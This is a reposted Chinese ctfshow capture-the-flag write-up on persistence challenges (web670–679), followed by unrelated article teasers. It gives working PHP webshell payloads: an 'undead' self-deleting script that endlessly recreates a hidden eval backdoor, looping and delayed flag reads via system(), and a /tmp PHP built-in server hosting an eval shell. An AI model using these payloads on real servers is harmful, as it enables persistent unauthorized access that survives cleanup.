ctfshow权限维持

1,web670

我们先看一下这个php代码

error_reporting(0);#关闭错误报告
highlight_file(__FILE__);#内容高亮显示$a=$_GET['action'];#get传参switch($a){case 'cmd':eval($_POST['cmd']);break;case 'check':file_get_contents("http://checker/api/check");#获取url中的内容break;default:die('params not validate');#die函数会输出指定的字符串并终止脚本运行
}params not validate
<?php
switch (expression) {case value1:// 代码块1break;case value2:// 代码块2break;// 更多的 case 语句default:// 如果没有匹配的值
}
?>expression 是要被比较的表达式。case value: 是可能的值,如果 expression 的值等于某个 case 的值,就执行相应的代码块。break; 用于终止 switch 语句,防止继续执行下一个 case。default: 是可选的,用于指定当没有匹配的 case 时执行的代码块。

通过上面的代码可以看出,我们提交check会获取check的内容

我们先通过cmd执行命令

查看一下phpinfo

看一下有没有禁用函数

发现没有

使用file_put_contents函数写文件

执行一下check试试

执行之后页面就变成403了

刚刚写的木马也没有了

应该是访问check,会执行里面的命令将整个html文件夹删除

通过写入不死马,绕过它的删除

如果文件删除方式是rm -rf *

可以利用它的缺陷,它无法删除点号开头的文件

成功写入,进行测试

文件还是没了,用的不是rm -rf * 的删除方式

只能使用不死马了

先介绍一下不死马

不死马脚本常驻内存:不死马脚本通过设置ignore_user_abort(true)和set_time_limit(0),使得脚本在执行时忽略用户中断,并且没有时间限制
循环生成木马文件:脚本会不断循环生成指定的木马文件,即使管理员删除了木马文件,脚本也会继续生成。
删除自身文件:为了隐藏痕迹,不死马脚本通常会在执行后删除自身文件特点。难以删除:由于脚本常驻内存,即使删除了生成的木马文件,脚本仍会继续生成新的木马文件。
隐蔽性高:通过删除自身文件和生成隐藏文件(如以.开头的文件),增加发现难度。
权限维持:常用于在服务器上维持攻击者的访问权限。

简单来说,不死马就是在执行的时候会先将自己删除,但它下面会有一个无线循环一直创建一句话木马。

我们看一下简单的不死马

<?phpignore_user_abort(true);#忽略用户中断set_time_limit(0);#设置无时间限制,一直执行unlink(__FILE__);#删除自身文件$file = '.shell.php'; 要生成的文件名$code = '<?php @eval($_POST[1]);?>'; #一句话木马while (1) {file_put_contents($file, $code);#写入木马文件,前面是文件名,后面是内容usleep(5000);#延迟时间}
?>

写入不死马

GET:?action=cmdPOST:cmd=file_put_contents('1.php', '<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file = \'.shell.php\';$code = \'<?php @eval($_POST[1]);?>\';while (1) {file_put_contents($file, $code);usleep(5000);}?>');

然后访问1.php,然后访问一下生成的木马,然后访问check

访问木马

读取flag

如果题目出网的话,可以试试反弹shell

2,wen671

和上一题差不多,直接上传不死马试试

这一次flag跑到根目录下面了

3,web672

和上面的题没什么区别,不过做了才知道

没问题,继续按照上面的步骤执行

还是在根目录下面

4,web673

还是一样继续不死马

没有访问check,没生成呢

5,web674

还是一样继续

6,web675

一样继续

7,web676

还是一样继续

8,web677

和上面的差不多,写不死马

发现写不进去了

通过前面,不死马的特性,我们可以知道,虽然访问http://checker/api/check,会删除文件,但无法杀死进程,我们可以通过执行无限循环的代码获取flag

while循环及应用shell脚本之十:while循环及应用实践 - cuiyongchao007 - 博客园

我们构造一下

system('while true;do cat /f*;done');

通过while无限循环,读取根目录下的f开头的文件,如果知道完整路径可以将它写到一个文件中

也可以通过延时的方法读取文件

system('sleep 10;cat /f*');

先执行循环

再访问check

需要等个一分钟才出来

建议使用延时的脚本

9,web678

使用延时脚本

如果10秒弄不好可以调成其他的

10,web679

访问会停止一切web服务,那么我们需要在它停止的时候,再起来一个web服务

权限太低,启动不了nginx和php-frm,但php存在内置的服务器

基本用法
在命令行中,可以通过以下命令启动 PHP 内置服务器:
php -S <host>:<port> <router><host>:服务器绑定的主机地址,通常是 localhost 或 127.0.0.1。<port>:服务器监听的端口号,例如 8000。<router>:一个 PHP 脚本文件,用于处理请求。如果省略,服务器会将所有请求映射到当前目录下的文件。

/tmp目录下可以写文件,开启php的命令,php -S 0.0.0.0:80

file_put_contents("/tmp/index.php","<?php eval(\$_POST[1]);?>");system("cd /tmp;sleep 10;php -S 0.0.0.0:80 -t /tmp/");
一句话这里要用双引号,$_POST[1]由于$被转义了,所以原样输出
将一句话木马写入到index.php文件中,然后cd到tmp,延时10秒开启php服务器,因为提前开启的服务也会被关掉

404了

我们等待一会

执行命令

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/83142.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

力扣算法ing(71 / 100)

5.15 哈希表合集—349.两个数组的交集 给定两个数组 nums1 和 nums2 &#xff0c;返回 它们的 交集 。输出结果中的每个元素一定是 唯一 的。我们可以 不考虑输出结果的顺序 。 示例 1&#xff1a; 输入&#xff1a;nums1 [1,2,2,1], nums2 [2,2] 输出&#xff1a;[2]示例…

(面试)Handler消息处理机制原理

Handler是用于实现线程间通信和任务调度的一种机&#xff08;Handler、 Looper、MessageQueue、 Message&#xff09;。Handler 允许线程间发送Message或Runnable对象进行通信。在Android中UI修改只能通过UI Thread&#xff0c;子线程不能更新UI。如果子线程想更新UI&#xff0…

Dify 实战教程 | 5分钟打造文本生成应用( Stable Diffusion 提示词生成器)

AI 绘画离不开「提示词&#xff08;Prompt&#xff09;」——如何构造清晰、生动、有表现力的提示词&#xff0c;直接决定你生成图像的质量。而 Stable Diffusion 的提示词构造相比 Midjourney 更加自由&#xff0c;但也更考验组织语言的能力。 今天这篇教程&#xff0c;教你零…

RPC框架源码分析学习(二)

RPC框架源码分析与原理解读 前言 在分布式系统开发中&#xff0c;远程过程调用(RPC)是一项基础且关键的技术。通过对KVstorageBaseRaft-cpp项目RPC模块的源码分析&#xff0c;我深入理解了RPC框架的工作原理和实现细节。本文将从程序员视角分享我的学习心得。 框架概述 本项…

当下流行的智能体通信协议:MCP、A2A、ANP 分别是什么?

在当前人工智能&#xff08;AI&#xff09;智能体生态系统中&#xff0c;智能体之间的有效沟通至关重要。为了让AI智能体能够高效、安全地协同工作&#xff0c;业界提出了多种通信协议。其中&#xff0c;MCP、A2A 和 ANP 代表了三个关键层级的通信协议&#xff0c;各自应对不同…

为什么 cout<<“中文你好“ 能正常输出中文

一, 简答: 受python3字符串模型影响得出的下文C字符串模型结论 是错的&#xff01;C的字符串和python2的字符串模型类似&#xff0c;也就是普通的字符串是ASCII字符串和字节串两种语义&#xff0c;类似重载或多态&#xff0c;有时候解释为整数&#xff0c;有时候是字节串。Uni…

鸿蒙的卓易通,让我踩了一次坑

前言 因为我本身对鸿蒙提不起兴趣&#xff0c;哪怕有些文章给鸿蒙穿上了“黑丝”&#xff0c;再加上公司当前没有适配鸿蒙的计划&#xff0c;所以关于鸿蒙的消息我都关注的很少。 今早&#xff0c;看到了徐宜生老师的一篇文章&#xff1a;“鸿蒙卓易通&#xff0c;是饮鸩止渴…

Cursor vs VS Code vs Zed

代码编辑器的世界已经迎来了创新的爆发。曾经由重量级IDE或基础文本编辑器主导的领域,如今开发者们发现自己正在探索全新一波聚焦于AI集成、协作和性能的工具。 在本文中,我们将深入探讨2025年三款流行的编辑器:Cursor、Visual Studio Code (VS Code)和Zed Code Editor。每…

使用 LiteFlow 实现灵活的业务逻辑解耦

1. 引言 1.1 业务逻辑复杂性带来的挑战 在现代软件开发中,随着业务需求不断增长,代码结构日趋复杂。硬编码式的流程控制方式难以适应频繁变更的需求,导致维护成本高、可读性差、扩展性弱。 1.2 规则引擎在解耦中的作用 规则引擎(Rule Engine)通过将业务逻辑与程序代码…

以项目的方式学QT开发(一)——超详细讲解(120000多字详细讲解,涵盖qt大量知识)逐步更新!

以项目的方式学QT开发 以项目的方式学QT开发 P1 QT介绍 1.1 QT简介 1.2 QT安装 1.2.1 Windows QT安装 1.2.2 QT Creator 使用基本介绍 P2 C基础 2.1 命名空间 2.1.1 命名空间作用 2.1.2 自定义命名空间 2.2 从C语言快速入门 2.2.1 输入输出 2.2.2 基…

【前端】【css】【总复习】三万字详解CSS 知识体系

&#x1f308; CSS 知识体系目录大纲 一、基础知识入门 1. CSS 简介与作用 CSS&#xff08;Cascading Style Sheets&#xff0c;层叠样式表&#xff09;是一种用于给 HTML 页面添加样式的语言&#xff0c;作用是让网页更美观、结构更清晰、布局更灵活。 核心作用&#xff1a;…

R利用spaa包计算植物/微生物的生态位宽度和重叠指数

一、生态位宽度 生态位宽度指数包括shannon生态位指数和levins生态位指数。下面是采用levins方法计算生态位宽度。method也可以选择“shannon”。 二、生态位重叠指数 生态位重叠指数&#xff0c;包括levins生态位重叠指数、schoener生态位重叠指数、petrai…

【论信息系统项目的合同管理】

论信息系统项目的合同管理 论文要求写作要点正文前言一、合同的签订管理二、合同履行管理三、合同变更管理四、合同档案管理五、合同违约索赔管理结语 论文要求 项目合同管理通过对项目合同的全生命周期进行管理&#xff0c;来回避和减轻可识别的项目风险。 请以“论信息系统项…

最新网盘资源搜索系统,电视直播,Alist聚合播放

源码描述&#xff1a; 本项目是基于Vue与Nuxt.js技术构建的网盘搜索项目&#xff0c;持续开源并维护更新。该项目旨在使每个人都能拥有属于自己的网盘搜索网站。我们强烈建议用户自行部署该项目。 更新日志&#xff1a; 新增TV播放功能新增Alist源聚合播放功能新增批量删除功…

【Ubuntu】安装BitComet种子下载器

环境 Ubuntu 24.04.2 下载依赖库 环境比较新&#xff0c;此软件需要依赖很多旧的库&#xff0c;逐个安装下载&#xff1a; 1.libicu70 http://nz.archive.ubuntu.com/ubuntu/pool/main/i/icu/libicu70_70.1-2_amd64.deb2.libjavascriptcoregtk-4.0-18 http://security.ubu…

修复“ImportError: DLL load failed while importing lib: 找不到指定的程序”笔记

#工作记录 一、问题描述 在运行CosyVoice_For_Windows项目时&#xff0c;出现以下报错&#xff1a; Traceback (most recent call last): File "D:\ProgramData\anaconda3\envs\CosyVoice\Lib\pydoc.py", line 457, in safeimport module __import__(path) …

ubuntu18 设置静态ip

百度 编辑/etc/netplan/01-netcfg.yaml 系统没有就自己编写 network: version: 2 renderer: networkd ethernets: eth0: dhcp4: no addresses: [192.168.20.8/24] # 设置你的IP地址和子网掩码 gateway4: 192.168.20.1 # 网关地址 namese…

帧差法识别

定义&#xff1a; 视频通过闪过x帧画面来实现&#xff0c;帧差法就是利用两帧之间的差异找出。也就是移动目标识别 帧差法识别步骤&#xff1a; 1、灰度处理&#xff1a;将多通道变成双通道压缩图像数据。 cvtColor(before_frame,before_gray,CV_RGB2GRAY);cvtColor(after_f…

基于OAuth2+SpringSecurity+Jwt实现身份认证和权限管理后端服务

1、简介 本文讲述了如何实现简易的后端鉴权服务。所谓“鉴权”&#xff0c;就是“身份鉴定”“权限判断”。涉及的技术有&#xff1a;OAuth2、SpringSecurity、Jwt、过滤器、拦截器。OAuth2用于授权&#xff0c;使用Jwt签发Access Token和Refresh Token&#xff0c;并管理token…

<C++> MFC自动关闭对话框(MessageBoxTimeout)

MFC自动关闭对话框&#xff08;MessageBoxTimeout&#xff09; 记录一下今天在界面开发中的解决方案。自动关闭对话框有两种方案&#xff1a; 1.使用定时器实现延迟关闭&#xff08;DeepSeek方案&#xff09; 提示框显示几秒后自动关闭&#xff0c;可以使用 SetTimer KillT…